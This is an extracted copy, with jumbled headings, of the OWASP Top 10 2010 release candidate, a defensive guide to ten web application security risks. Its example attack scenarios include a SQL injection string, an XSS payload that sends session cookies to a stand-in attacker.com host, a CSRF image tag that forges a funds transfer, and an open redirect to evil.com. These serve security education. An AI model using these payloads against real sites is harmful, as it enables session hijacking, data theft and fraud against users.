OWASP Top 10 (2010 release candidate 1)

2. About OWASPO

3. IIntroduction

4. Release NotesRN

5. Weakness WeaknessWeaknessWeaknessWhat Are Application Security Risks?Attackers can potentially use many different paths through your application to do harm to your business. Each of these paths represents a risk that may or may not be serious enough to warrant attention.Sometimes, these paths are trivial to find and exploit and sometimes they are extremely difficult. Similarly, the harm that is caused may range from nothing all the way through putting you out of business. To determine the risk to your organization, you can evaluate the likelihood associated with the threat agent, attack vector, and security weakness and combine it with an estimate of the technical and business impact to your organization. Together, these factors determine the overall risk.ThreatAgentsAttackVectorsSecurityWeaknessesTechnicalImpactsBusinessImpactsSecurityControlsImpactControlAttackAssetControlAttackImpactFunctionAttackImpactAssetControlWhat’s My Risk?This update to the OWASP Top 10 focuses on identifying the most serious risks for a broad array of organizations. For each of these risks, we provide generic information about likelihood and technical impact using this simple ratings scheme, which is based on the OWASP Risk Rating Methodology.However, only you know the specifics of your environment and your business. For any given application, there may not be a threat agent that can perform the relevant attack. Or the technical impact may not make any difference. Therefore, you should evaluate each risk for yourself, particularly looking at the threat agents, security controls, and business impacts in your enterprise.Although previous versions of the OWASP Top 10 focused on identifying the most common “vulnerabilities,” they were also designed around risk. The names of the risks in the Top 10 are sometimes based on the attack, sometimes on the weakness, and sometimes on the impact. We choose the name that is best known and will achieve the highest level of awareness.ReferencesOWASPOWASP Risk Rating Methodology

6. Article on Threat/Risk ModelingExternalFAIR Information Risk Framework

7. OCTAVE Risk Analysis Methodology

8. Microsoft Threat Modeling (STRIDE and DREAD)Application Security RiskR

9. OWASP Top 10 Application Security Risks – 2010 T10

10. Security Weakness Technical ImpactsBusinessImpacts Attack VectorsThreatAgentsAm I Vulnerable To Injection?The best way to find out if an application is vulnerable to injection is to verify that all use of interpreters clearly separates untrusted data from the command or query.Checking the code is a fast and accurate way to see if the application uses interpreters safely. Code analysis tools can help a security analyst find the use of interpreters and trace the data flow through the application. Manual penetration testers can confirm these issues by crafting exploits that confirm the vulnerability.Automated dynamic scanning which exercises the application may provide insight into whether some exploitable injection problems exist. Scanners cannot always reach interpreters and can have difficulty detecting whether an attack was successful.How Do I Prevent Injection?Preventing injection requires keeping untrusted data separate from commands and queries.The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterized interface. Beware APIs, such as stored procedures, that appear parameterized, but may still allow injection under the hood.If a parameterized API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter. OWASP’s ESAPI has some of these escaping routines.Positive or “whitelist” input validation is also important and helps to protect against injection, but is not a complete defense as many applications require special characters in their input.Example Attack ScenarioThe application uses untrusted data in the construction of the following vulnerable SQL call: String query = "SELECT * FROM accounts WHEREcustID='" + request.getParameter("id") +"'";The attacker modifies the ‘id’ parameter in their browser to send: ' or '1'='1. This changes the meaning of the query to return all the records from the accounts database, instead of only the intended customer’s.http://example.com/app/accountView?id=' or '1'='1 In the worst case, the attacker uses this weakness to invoke special stored procedures in the database, allowing a complete takeover of the database host.ReferencesOWASPOWASP SQL Injection Prevention Cheat Sheet

11. OWASP Injection Flaws Article

12. ESAPI Encoder API

13. OWASP Testing Guide: Chapter on SQL Injection Testing

14. OWASP Code Review Guide: Chapter on SQL Injection

15. OWASP Code Review Guide: Command InjectionExternalCWE Entry on Command Injection

16. CWE Entry on SQL InjectionA1Injection

17. Cross Site Scripting (XSS)A2 Security Weakness Technical ImpactsBusinessImpacts Attack VectorsThreatAgentsAm I Vulnerable to XSS?You need to ensure that all user supplied input sent back to the browser is verified to be safe (via input validation), and that user input is properly escaped before it is included in the output page. Proper encoding ensures that such input is always treated as text in the browser, rather than active content.Both static and dynamic tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, and Flash, which makes automated detection difficult. Therefore, complete coverage requires a combination of manual code review and manual penetration testing.Web 2.0 technologies such as AJAX makes XSS much more difficult to detect via automated tools.How Do I Prevent XSS?Preventing XSS requires keeping untrusted data separate from active browser content.The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them. See the OWASP XSS Prevention Cheat Sheet for more information about escaping.Positive or “whitelist” input validation is also important and helps protect against XSS, but is not a complete defense due as many applications require special characters in their input. Such validation should, as much as possible, validate the length, characters, format, and any business rules on that data before accepting the input.Example Attack ScenarioThe application uses untrusted data in the construction of the following HTML snippet without validation or escaping: (String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";The attacker modifies the ‘CC’ parameter in their browser to:'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>.This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. Note that attackers can also use XSS to defeat any CSRF defense the application might employ. See A5 for info on CSRF.ReferencesOWASPOWASP XSS Prevention Cheat Sheet

18. OWASP Cross Site Scripting Article

19. ESAPI Project Home Page

20. ESAPI Encoder API

21. ASVS: Output Encoding/Escaping Requirements (V6)

22. OWASP Testing Guide: Chapter on XSS Testing

23. OWASP Code Review Guide: Chapter on XSS ReviewExternalCWE Entry on Cross Site Scripting

24. RSnake’s XSS Attack Cheat SheetBroken Authentication and Session ManagementA3 Security Weakness Technical ImpactsBusinessImpacts Attack VectorsThreatAgentsAm I Vulnerable?The primary assets to protect are user passwords, and session IDs.Are passwords, session IDs, and other credentials sent only over TLS connections? See A10.Are credentials always protected when stored using hashing or encryption? See A9.Can credentials be guessed or overwritten through weak account management functions (e.g., account creation, change password, recover password)?Are session IDs exposed via URL rewriting?Do session IDs timeout and can users can log out?See the ASVS requirement areas V2 and V3 for more details.How Do I Prevent This?The primary recommendation for an organization is to make available to developers a single set of strong authentication and session management controls.Such controls should strive to meet all the authentication and session management requirements defined in OWASP’s Application Security Verification Standard (ASVS) areas V2 (Authentication) and V3 (Session Management).These controls should have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to follow, use, or build upon.Strong efforts should be made to avoid XSS flaws which can be used to steal session IDs. See A5.Example Attack ScenariosScenario #1: Airline reservations application supports URL rewriting, putting session IDs in the URL:http://example.com/sale/saleitems;jsessionid= 2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=HawaiiAn authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card.Scenario #2: Application’s timeouts aren’t set properly. User uses public computer to access site. Instead of selecting “logout” the user simply closes the browser window and walks away. Attacker uses same browser an hour later, and browser is still authenticated.Scenario #3: Site does not use SSL /TLS for all traffic. User accessing site has his wireless traffic sniffed by neighbor, exposing his user ID, password, and session ID.ReferencesOWASPFor a more complete set of requirements and problems in this area to avoid, see the ASVS requirements areas for Authentication (V2) and Session Management (V3)ESAPI Authenticator API

25. ESAPI User API

26. OWASP Development Guide: Chapter on Authentication

27. OWASP Testing Guide: Chapter on AuthenticationExternalCWE Entry on Improper AuthenticationInsecure Direct Object ReferencesA4 Security Weakness Technical ImpactsBusinessImpacts Attack VectorsThreatAgentsAm I Vulnerable?The best way to find out if an application is vulnerable to insecure direct object references is to verify that all object references have appropriate defenses. Consider:For direct references to restricted resources, the application needs to verify the user is authorized to access the exact resource they have requested.If the reference is an indirect reference, the mapping to the direct reference must be limited to values authorized for the current user.Code review can quickly verify whether either approach is implemented safely. Testing is also effective for identifying direct object references and whether they are safe. Automated tools typically do not look for such flaws because they cannot recognize what requires protection or what is safe or unsafe.How Do I Prevent This?Preventing insecure direct object references requires selecting an approach for protecting each user accessible object (e.g., object number, filename).Use indirect object references. This prevents attackers from directly targeting unauthorized resources. For example, a drop down list of six resources could use the numbers 1 to 6 to indicate which value the user selected, instead of using the resource’s database key. The application has to map the per-user indirect reference back to the actual database key on the server. OWASP’s ESAPI includes both sequential and random access reference maps that developers can use to eliminate direct object references.Check access. Each use of a direct object reference from an untrusted source must include an access control check that ensures the user is authorized for the requested object.Example Attack ScenarioThe application uses unverified data in a SQL call that is accessing account information: String query = "SELECT * FROM accts WHERE account = ?";PreparedStatementpstmt =connection.prepareStatement(query , … );pstmt.setString( 1, request.getparameter("acct"));ResultSet results = pstmt.executeQuery( );The attacker simply modifies the ‘acct’ parameter in their browser to send whatever account number they want. If not verified, the attacker can access any user’s account, instead of only the intended customer’s.http://example.com/app/accountInfo?acct=notmyacctReferencesOWASPOWASP Top 10-2007 on Insecure Dir Object References

28. ESAPI Access Reference Map API

29. ESAPI Access Control API(See isAuthorizedForData(), isAuthorizedForFile(), isAuthorizedForFunction() )For additional access control requirements, see the ASVS requirements area for Access Control (V4)ExternalCWE Entry on Insecure Direct Object References

30. CWE Entry on Path Traversal(which is an example of a Direct Object Reference attack)Cross Site Request Forgery(CSRF)A5 Security Weakness Technical ImpactsBusinessImpacts Attack VectorsThreatAgentsAm I Vulnerable to CSRF?The easiest way to check whether an application is vulnerable is to see if each link and form contains an unpredictable token for each user. Focus on the links and forms that invoke state-changing functions, since those are the most important CSRF targets.You should check multistep transactions, as they are not inherently immune. Attackers can easily forge a series of requests by using multiple tags or possibly JavaScript.Note that session cookies, source IP addresses, and other information that is automatically sent by the browser doesn’t count since they are also included in forged requests.OWASP’s CSRF Tester tool can help generate test cases to demonstrate the dangers of CSRF flaws.How Do I Prevent CSRF?Preventing CSRF requires the inclusion of a unpredictable token as part of each transaction. Such tokens should at a minimum be unique per user session.The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is subject to exposure.The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs the risk that the URL will be exposed to an attacker, thus compromising the secret token.OWASP’s CSRF Guard can be used to automatically include such tokens in your Java EE, .NET, or PHP application. OWASP’s ESAPI includes token generators and validators that developers can use to protect their transactions.Example Attack ScenarioThe application allows a user to submit a state changing request that does not include anything secret. Like so: http://example.com/app/transferFunds?amount=1500 &destinationAccount=4673243243So, the attacker constructs a request that will transfer money from the victim’s account to their account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control.<imgsrc="http://example.com/transferFunds? amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" />If the victim visits any of these sites while already authenticated to example.com, any forged requests will include the user’s session info, authorizing the request.ReferencesOWASPOWASP CSRF Article

31. OWASP CSRF Prevention Cheat Sheet

32. OWASP CSRFGuard - CSRF Defense Tool

33. ESAPI Project Home Page

34. ESAPI HTTPUtilities Class with AntiCSRF Tokens

35. OWASP Testing Guide: Chapter on CSRF Testing

36. OWASP CSRFTester - CSRF Testing Tool ExternalCWE Entry on CSRF Security MisconfigurationA6 Security Weakness Technical ImpactsBusinessImpacts Attack VectorsThreatAgentsAm I Vulnerable?Have you performed the proper security hardening across the entire application stack?Do you have a process for keeping current on the latest versions and patches to all the software in your environment? This includes the OS, Web/App Server, DBMS, applications, and any libraries.Is everything unnecessary disabled, removed, or not installed (e.g., ports, services, pages, accounts)?Are default account passwords changed or disabled?Are all other security settings configured properly.Are all servers protected by Firewalls / Filters … etc. A concerted, repeatable process is required to develop and maintain a proper security configuration.How Do I Prevent This?The primary recommendations are to establish:A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Dev, QA, and production environments should all be configured the same. This process should be automated to minimize the effort required to setup a new secure environment.A process for keeping abreast of and deploying all new software updates and patches in a timely manner to each deployed environment.A strong network architecture that provides good separation and security between components.Consider running automated scans periodically to help you detect future misconfigurations or missing patches.Example Attack ScenariosScenario #1: Researcher finds a overlong UTF-8 vulnerability in your app server. Patch is released but you don’t apply it quickly. Attacker reverse engineers latest patch, figures out the flaw, scans the net for unpatched servers, and takes over your server.Scenario #2: Admin console is automatically installed and not removed. Default accounts aren’t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.Scenario #3: Directory listing is not disabled on your server. Attacker discovers he can find all files on your server by simply listing the directories. Attacker finds and downloads all your compiled Java classes, which he reverses to get all your custom code. He then find a serious access control flaw in your application.ReferencesOWASPOWASP Development Guide: Chapter on Configuration

37. OWASP Testing Guide: Configuration Management

38. OWASP Top 10 2004 - Insecure Configuration Management For additional requirements in this area, see the ASVS requirements area for Security Configuration (V12) ExternalPC Magazine Article on Web Server HardeningFailure to Restrict URL AccessA7 Security Weakness Technical ImpactsBusinessImpacts Attack VectorsThreatAgentsAm I Vulnerable?The best way to find out if an application has failed to properly restrict URL access is to verify every page. Consider for each page, is the page supposed to be public or private. If a private page:Is authentication required to access that page?Is it supposed to be accessible to ANY authenticated user? If not, is an authorization check made to ensure the user has permission to access that page?External security mechanisms frequently provide authentication and authorization checks for page access. Verify they are properly configured for every page. If code level protection is used, verify that code level protection is in place for every required page. Testing can also verify whether proper protection is in place.How Do I Prevent This?Preventing unauthorized URL access requires selecting an approach for requiring proper authentication and proper authorization for each page. Frequently, such protection is provided by one or more components external to the application code. Regardless of the mechanism(s), it is recommended that: The authentication and authorization policies be role based, to minimize the effort required to maintain these policies.The policies should be highly configurable, in order to minimize any hard coded aspects of the policy.The enforcement mechanism(s) should deny all access by default, requiring explicit grants to specific users and roles for access to every page.Example Attack ScenarioThe attacker simply force browses to target URLs. Consider the following URLs which are both supposed to require authentication, and admin rights are also required for access to the “admin_getappInfo” page. http://example.com/app/getappInfo http://example.com/app/admin_getappInfoIf the attacker is not authenticated, and access to either page is granted, then unauthorized access was allowed. If an authenticated, non-admin, user is allowed to access the “admin_getappInfo”page, this is a flaw, and may lead the attacker to more improperly protected admin pages.Such flaws are frequently introduced when links and buttons are simply not displayed to unauthorized users, but the application fails to protect the pages they target.ReferencesOWASPOWASP Top 10-2007 on Failure to Restrict URL Access

39. ESAPI Access Control API

40. OWASP Development Guide: Chapter on Authorization

41. OWASP Testing Guide: Testing for Path Traversal

42. OWASP Article on Forced BrowsingFor additional access control requirements, see the ASVS requirements area for Access Control (V4)ExternalCWE Entry on Improper Access Control (Authorization)Unvalidated Redirects and ForwardsA8 Security Weakness Technical ImpactsBusinessImpacts Attack VectorsThreatAgentsAm I Vulnerable?The best way to find out if an application has any unvalidated redirects or forwards is to:Review the code for all uses of redirect or forward (called a transfer in .NET). For each use, identify if the target URL includes any parameter values. If so, verify the parameter(s) are validated to contain only an allowed destination, or element of a destination.Also, spider the site to see if it generates any redirects (HTTP response codes 300-307, typically 302). Look at the parameters supplied prior to the redirect to see if they appear to be a target URL or a piece of such a URL. If so, change the URL target and observe whether the site redirects to the new target.If code was unavailable, check all parameters to see if they look like part of a forward URL and test them.How Do I Prevent This?Safe use of redirects and forwards can be done in a number of ways.Simply avoid using redirects and forwards.If used, don’t involve user parameters in calculating the destination. This can usually be done.If destination parameters can’t be avoided, validate that the supplied value is valid, and authorized for the current user. It is recommended that such destination parameters be a mapping value, rather than the actual URL or portion of the URL, and that server side code translate this mapping to the target URL.Avoiding such flaws is extremely important as they are a favorite target of phishers, trying to gain the user’s trust.Example Attack ScenariosScenario #1: The application has a page called “redirect.jsp” which takes a single parameter named “url”. The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware.http://www.example.com/redirect.jsp?url=evil.comScenario #2:The application uses forward to route requests between different parts of the site. To facilitate this, some pages use a parameter to indicate where the user should be sent if a transaction is successful. In this case, the attacker crafts a URL that will pass the applications access control check and then forward him to an administrative function that he would not normally be able to access.http://www.example.com/boring.jsp?fwd=admin.jspReferencesOWASPOWASP Article on Open Redirects ExternalWASC Article on URL Redirector Abuse

43. Google blog article on the dangers of open redirectsInsecure CryptographicStorageA9 Security Weakness Technical ImpactsBusinessImpacts Attack VectorsThreatAgentsAm I Vulnerable?The first thing you have to determine is what data is sensitive enough to require encryption. For example, passwords, credit cards, health care data, and PII should be encrypted. For all such data, ensure:It is encrypted everywhere it is stored long term, particularly backups of this data.Only authorized users can access decrypted copies of the data (i.e., access control – See A4 and A7.A strong encryption algorithm is used.A strong key is generated, protected from unauthorized access, and key change is planned for.And more … For a more complete set of problems to avoid, see the ASVS requirements on Cryptography (V7)How Do I Prevent This?The full perils of safe cryptography are well beyond the scope of this Top 10. That said, for all sensitive data deserving encryption, do the following, at a minimum:Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all such data at rest in a manner that defends against these threats.Ensure offsite backups are encrypted, but the keys are managed and backed up separately.Ensure appropriate and safe algorithms and strong keys are used, and key management is in place.Ensure passwords are hashed with a strong algorithm and an appropriate salt is used.Ensure all keys and passwords are protected from unauthorized access.Example Attack ScenariosScenario #1: An application encrypts credit cards in a database to prevent exposure to end users. However, the database is set to automatically decrypt queries against the credit card columns, allowing a SQL injection flaw to retrieve all the credit cards in cleartext (the system should have been configured to allow only back end applications to decrypt them, not the front end web application).Scenario #2: A backup tape is made of encrypted health records, but the encryption key is on the same backup. The tape never arrives at the backup center.Scenario #3: The password database uses unsalted hashes to store everyone’s passwords. A file upload flaw allows an attacker to retrieve the password file. All the unsalted hashes can be brute forced in 4 weeks, while salted hashes would have taken over 3000 years.ReferencesOWASPFor a more complete set of requirements and problems in this area to avoid, see the ASVS requirements on Cryptography (V7)OWASP Top 10-2007 on Insecure Cryptographic Storage

44. ESAPI Encryptor API

45. OWASP Development Guide: Chapter on Cryptography

46. OWASP Code Review Guide: Chapter on CryptographyExternalCWE Entry on Failure to Encrypt Sensitive Data

47. CWE Entry on Weak EncryptionInsufficient Transport LayerProtectionA10 Security Weakness Technical ImpactsBusinessImpacts Attack VectorsThreatAgentsAm I Vulnerable?The best way to find out if an application has insufficient transport layer protection is to verify that:SSL is used for all resources on all private pages and services. This protects all data and authentication credentials that are exchanged. Mixed SSL on a page should be avoided since it causes user warnings in the browser, and may expose the user’s session ID.Only strong algorithms are supported.All session cookies have their ‘secure’ flag set so the browser never transmits them in the clear.The server certificate is legitimate and properly configured for that server. This includes being issued by an authorized issuer, not expired, has not been revoked, and it matches all domains the site uses.How Do I Prevent This?Providing proper transport layer protection can affect the site design. It’s easiest to require SSL for the entire site. For performance reasons, some sites use SSL only on private pages. Others use SSL only on ‘critical’ pages, but this can expose session IDs and other sensitive data.Require SSL for all selected pages. Non-SSL requests to these pages should be redirected to the SSL page.Set the ‘secure’ flag on all sensitive cookies.Configure your SSL/TLS provider to only support strong (FIPS 140-2 compliant) algorithms.Ensure your certificate is valid, not expired, not revoked, and matches all domains used by the site.Backend and other connections should also use SSL/TLS or other encryption technologies.Example Attack ScenariosScenario #1: The site simply doesn’t use SSL for all pages that require authentication. Attacker simply monitors network traffic (like an open wireless or their neighborhood cable modem network), and observes an authenticated victim’s session cookie. Attacker then replays this cookie and takes over the user’s session.Scenario #2: Site has improperly configured SSL certificate which causes browser warnings for its users. Users have to accept such warnings and continue, in order to use the site. This causes users to get accustomed to such warnings. Phishing attack against site’s customers lures them to a lookalike site which doesn’t have valid certificate generating similar browser warnings. Since victims are accustomed to such warnings, they proceed on and use the phishing site, giving away passwords or other private data.ReferencesOWASPFor a more complete set of requirements and problems in this area to avoid, see the ASVS requirements on Communications Security (V10)OWASP Transport Layer Protection Cheat Sheet

48. OWASP Top 10-2007 on Insecure Communications

49. OWASP Development Guide: Chapter on Cryptography

50. OWASP Testing Guide: Chapter on SSL/TLS TestingExternalSSL Labs Server Test

51. Definition of FIPS 140-2 Cryptographic StandardWhat’s Next for Developers+D

52. What’s Next for Verifiers+V

53. Notes about Risk+R Security Weakness Technical ImpactsBusinessImpacts Attack VectorsThreatAgents2.6

OWASP Top 10 (2010 release candidate 1)

More Related Content

OWASP Top 10 (2010 release candidate 1)

Editor's Notes